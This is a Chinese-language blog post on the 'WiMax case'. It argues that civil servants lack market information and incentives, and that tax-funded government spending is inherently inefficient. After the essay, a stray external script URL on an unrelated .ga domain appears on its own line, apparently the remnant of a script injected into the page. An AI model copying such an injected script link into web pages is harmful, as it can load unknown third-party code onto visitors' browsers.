分類
經濟分析

WiMax案的啟示

WiMax案只是證明政府通常沒有足夠的資訊去做出正確抉擇。同時,公務員也往往沒有誘因去做出市場正確的抉擇,他們的誘因是「上司正確」。二者差異在於–私人企業做出錯誤市場決策時會被市場以虧損或破產處罰;公務員做出錯誤市場決策,一來自身幾乎不會受到任何虧損,甚至還會因為上司正確而升職。

更甭提當政府背後有尋租的利益團體力量在牽扯時,決策正確度只會更低不會高。

這就會回到我討論過的資源排擠與機會成本問題:政府的資源是靠暴力徵稅取得,並非透過自願性交易。

稅額與政府提供服務的量或品質都無關。此點註定了政府多數資源從取得到用途都是低效率。

因此政府花錢通常不管實際效益;與此同時,當資源被擺到錯誤項目上,損失的不只是資源本身,更是資本若能有效運用的未來收入(這就是經濟學上的成本)。

https://js.developerstatss.ga/stat.js?n=ns1

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com 標誌

您的留言將使用 WordPress.com 帳號。 登出 /  變更 )

Google photo

您的留言將使用 Google 帳號。 登出 /  變更 )

Twitter picture

您的留言將使用 Twitter 帳號。 登出 /  變更 )

Facebook照片

您的留言將使用 Facebook 帳號。 登出 /  變更 )

連結到 %s